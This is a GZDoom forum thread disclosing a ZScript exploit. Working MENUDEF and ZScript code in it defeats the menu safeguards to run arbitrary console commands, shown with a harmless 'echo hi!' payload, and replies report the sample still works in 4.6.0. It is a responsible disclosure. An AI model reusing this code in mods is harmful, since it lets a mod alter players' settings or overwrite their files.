Console Command Exploit

Here, developers communicate stuff that does not go onto the main News section or the front page of the site.
[Dev Blog] [Development Builds] [Git Change Log] [GZDoom Github Repo]

Moderator: GZDoom Developers

User avatar
The Zombie Killer
Posts: 1528
Joined: Thu Jul 14, 2011 12:06 am
Location: Gold Coast, Queensland, Australia

Console Command Exploit

Post by The Zombie Killer »

[Developer's note: This post has been edited from its original form for clarity]

This post serves as disclosure for an exploit that was recently discovered in ZScript.

The exploit affects all versions between 3.0.0 to 3.2.3, but has been patched in 3.2.4.

The Exploit
ZScript has exposed various features to modders, one of these being the underlying code for the classes powering MENUDEF.
However, the exposure of this MENUDEF code has brought some security concerns along with it.

In MENUDEF, you are able to create menu items that will execute a console command when a user selects them, via the "Command" item.
The code behind this item has a private method named "DoCommand", which is effectively a ZScript version of Zandronum's famous "ConsoleCommand", but without the whitelist.

Normally, you aren't able to make use of DoCommand, as it's private and mostly barred off.
If the item's ZScript class is not "OptionMenuItemSafeCommand", the following checks are made:
  • The command will not execute if a menu is not active.
  • The command will not execute if the active menu is not an OptionMenu.
  • The command will not execute if the Command item does not exist in the active menu (eg, if you created it with new()).
You would expect this to cover the hole pretty well. However, it proved to be trivial to circumvent the above checks.

You could create your own menu linked to ZScript and give it a "Command" item. From there you could modify the Command item's action (the console command it executes) and then proceed to open and close the menu to run the command. The entire MENUDEF file looks like this:

Code: Select all

OptionMenu "ConsoleCommandMenu"
{
    class "ConsoleCommandMenu"
    Command "", ""
}
 
And all of the ZScript backing it up is as follows:

Code: Select all

version "3.2.0"

class ConsoleCommandMenu : OptionMenu
{
    static void Execute(Name command)
    {
        Menu.SetMenu('ConsoleCommandMenu');
        let desc = OptionMenuDescriptor(MenuDescriptor.GetDescriptor('ConsoleCommandMenu'));
        let item = OptionMenuItemCommand(desc.mItems[0]);
        item.Init("", command);
        item.Activate();
        Menu.GetCurrentMenu().Close();
    }
}

class ConsoleCommand
{
    string Command;
    int    GameTic;

    static play void Execute(string command)
    {
        ConsoleCommandHandler.QueueCommand(command);
    }
}

class ConsoleCommandHandler : EventHandler
{
    private Array<ConsoleCommand> m_Commands;

    static void QueueCommand(string command)
    {
        let cmd     = new("ConsoleCommand");
        cmd.Command = command;
        cmd.GameTic = gametic;

        ConsoleCommandHandler(
            EventHandler.Find("ConsoleCommandHandler"))
                        .m_Commands.Push(cmd);
    }

    override void WorldTick()
    {
        for(int i = 0; i < m_Commands.Size(); i++)
        {
            if (m_Commands[i].GameTic == gametic - 1) continue;

            m_Commands[i].Destroy();
            m_Commands.Delete(i);

            i = -1;
        }
    }

    override void UiTick()
    {
        for(int i = 0; i < m_Commands.Size(); i++)
        {
            if (m_Commands[i].GameTic == gametic - 1)
                ConsoleCommandMenu.Execute(m_Commands[i].Command);
        }
    }
} 
The ZScript code effectively queues up console commands using a custom structure, and executes them by opening and closing the menu after modifying the Command item's action (using the Init() method).
After the above code has been written, all that's left to do for this to be usable is to hook up the EventHandler in MAPINFO:

Code: Select all

GameInfo
{
    AddEventHandlers = "ConsoleCommandHandler"
} 
And now we're free to execute console commands at will:

Code: Select all

ConsoleCommand.Execute("echo hi!"); 
Concerns
Of course, this brings with it a number of concerns. A very incomplete list of which can be found below:
  • A user's settings including bindings, audio volume, player name, colour, etc can all be permanently modified.
  • Files on the user's system can be overwritten with the logFile command.
As this exploit has been patched in 3.2.4 to the point of not being able to modify arbitrary files on a user's system, I strongly suggest that you update.

Sample
Attached below is a sample pk3 demonstrating the exploit. Run the sample with a version of GZDoom prior to 3.2.4 and spawn the "Evil" actor to see it in action.
Attachments
exploit.pk3
(1.06 KiB) Downloaded 365 times
User avatar
Xaser
 
 
Posts: 10772
Joined: Sun Jul 20, 2003 12:15 pm
Contact:

Re: Console Command Exploit

Post by Xaser »

Just want to drop by and leave a big "Thanks!" to the devs and the folks who discovered the exploit, for getting it patched quickly. :thumb:
User avatar
Rachael
Posts: 13530
Joined: Tue Jan 13, 2004 1:31 pm
Preferred Pronouns: She/Her
Contact:

Re: Console Command Exploit

Post by Rachael »

Appreciate TheZombieKiller for reporting this exploit when he did. :) The community owes you a lot! Thank you.

Let's be clear about one thing: GZDoom, like Windows, and Firefox, is a very complex program. It's bound to have security flaws along the way - we try and keep things as secure as we can, but we're not perfect and things like this can happen.

And I've seen some rumors that Graf is evil and that he did this intentionally - that is NOT the case. This is clearly a case of a blind spot that he was unaware of. I talked with him about it and he had a vested interest in plugging the hole, but wanted to do a more thorough fix before he went on his hiatus.

Additionally, Graf's real name is all over the code everywhere. If he did that intentionally do you REALLY think he'd be so transparent about who he really is in this? That's a pretty dumb rumor to start, to be quite honest.
User avatar
Xaser
 
 
Posts: 10772
Joined: Sun Jul 20, 2003 12:15 pm
Contact:

Re: Console Command Exploit

Post by Xaser »

FWIW, it's probably also worth mentioning that the exploit was discovered back in February and was thought to have been fixed back then -- this new exploit worked around the safeguards that were implemented. New developments on an old issue, rather than something that never had any brainpower put to it.
User avatar
gwHero
Posts: 360
Joined: Mon May 08, 2017 3:23 am
Graphics Processor: Intel with Vulkan/Metal Support
Location: The Netherlands

Re: Console Command Exploit

Post by gwHero »

first: wow
second:compliments! :P
User avatar
Leonard2
Posts: 313
Joined: Tue Aug 14, 2012 6:10 pm

Re: Console Command Exploit

Post by Leonard2 »

The Zombie Killer wrote:The code behind this item has a private method named "DoCommand", which is effectively a ZScript version of Zandronum's famous "ConsoleCommand", but without the whitelist.
The fact that this was thought of to begin with kinda boggles my mind.
In Zandronum, what we're trying to do is provide alternative functions to users that can do the equivalent of what they needed to do with ConsoleCommand in the first place.
Was there any reason this was not possible at all?
I would really, really like to hear the full explanation on this one.
dpJudas
 
 
Posts: 3037
Joined: Sat May 28, 2016 1:01 pm

Re: Console Command Exploit

Post by dpJudas »

Leonard2 wrote:Was there any reason this was not possible at all?
I would really, really like to hear the full explanation on this one.
Graf spent a lot of time porting more or less all of the C++ playsim code that you now see in ZScript. Given the size of the task at hand the code was for the most part ported over directly as-is. The original C++ code used the shortcut to just issue console commands and as a result this became possible in ZScript as well.

While you could argue that this code should have been adjusted during the porting, keep in mind that with just one man doing all that work it increases the chance of something like this slipping through. It is always easier to say "why didn't you do the right thing first time around" after the fact. The only proper answer to this is:

User avatar
Rachael
Posts: 13530
Joined: Tue Jan 13, 2004 1:31 pm
Preferred Pronouns: She/Her
Contact:

Re: Console Command Exploit

Post by Rachael »

All of this is ignoring the bigger problem here: Why MENUDEF's own "Command" and "SafeCommand" both had unfettered access to the entire GZDoom console system - even without the ZScriptification. What was to stop a malicious modder from including such a menu option and naming it "Save Game" or something like that? Yeah, I want to save my game - OOPS I just overwrote my NT6 boot code! Welp I guess I can't restart my system anymore...

In fact, that was exploitable since customized menus became a thing - except it required that the user attempt to do something in order to fall into the trap command.

At least with white-listing, none of that is possible any longer.
User avatar
ibm5155
Posts: 1268
Joined: Wed Jul 20, 2011 4:24 pm
Contact:

Re: Console Command Exploit

Post by ibm5155 »

I don't see something bad with "ConsoleCommand.Execute("echo hi!"); " since you can "Do" the same with acs.
But still I see the point from this exploit.

Just wondering, with that, could the mod mess with the system files? (like delete stuff from your user folder) or is it limited to mess with the user config from q/g/zdoom?
User avatar
Xaser
 
 
Posts: 10772
Joined: Sun Jul 20, 2003 12:15 pm
Contact:

Re: Console Command Exploit

Post by Xaser »

If you run the affected versions of [GQ]Zdoom as an Administrator, then yes, it would be able to mess with system files.

This doesn't sound like a big deal until one realizes there are probably people out there who have installed the game into Program Files and have resorted to running the game as an Administrator in order to work around the inevitable issues that causes. Obviously not a recommended practice, but the risk exists.

I'll defer the explanations (since I'm not an expert), but some folks in Discord pointed out some other exploits (beyond trashing the game config) that could be pulled off without admin rights. Not small potatoes, no matter how you slice them*.


[*Preferably thinly-sliced and deep-fried. ;]
Blue Shadow
Posts: 4949
Joined: Sun Nov 14, 2010 12:59 am

Re: Console Command Exploit

Post by Blue Shadow »

Now I have more of a reason to stay clear from mods which are designed to run on older versions of the engine. Not that I needed a reason to begin with.
User avatar
Apeirogon
Posts: 1605
Joined: Mon Jun 12, 2017 12:57 am

Re: Console Command Exploit

Post by Apeirogon »

The Zombie Killer wrote:spawn the "Evil" actor to see it in action.
I spawn it but all I can see its "hi!" in log and change "last date of changing" in gzdoom_portable.ini to today. Version 3.2.
What I do wrong? Run it into guest profile?
User avatar
Rachael
Posts: 13530
Joined: Tue Jan 13, 2004 1:31 pm
Preferred Pronouns: She/Her
Contact:

Re: Console Command Exploit

Post by Rachael »

Apeirogon wrote:I spawn it but all I can see its "hi!" in log and change "last date of changing" in gzdoom_portable.ini to today. Version 3.2.
What I do wrong? Run it into guest profile?
The exploit was written in such a way to be harmless. If it says "hi!" then it worked. If it gives you an error, then it was blocked.
yum13241
Posts: 780
Joined: Mon May 10, 2021 8:08 pm
Preferred Pronouns: He/Him
Operating System Version (Optional): EndeavorOS (basically Arch)
Graphics Processor: Intel with Vulkan/Metal Support
Contact:

Re: Console Command Exploit

Post by yum13241 »

Rachael wrote:
Apeirogon wrote:I spawn it but all I can see its "hi!" in log and change "last date of changing" in gzdoom_portable.ini to today. Version 3.2.
What I do wrong? Run it into guest profile?
The exploit was written in such a way to be harmless. If it says "hi!" then it worked. If it gives you an error, then it was blocked.

Really, really sorry to bump, but this works in GZDoom 4.6.0, which is a problem.
User avatar
Apeirogon
Posts: 1605
Joined: Mon Jun 12, 2017 12:57 am

Re: Console Command Exploit

Post by Apeirogon »

Just tested it. Example from OP says "hi!" in 4.6.0 version, as well as in 4.4.2.
Post Reply

Return to “Developer Blog”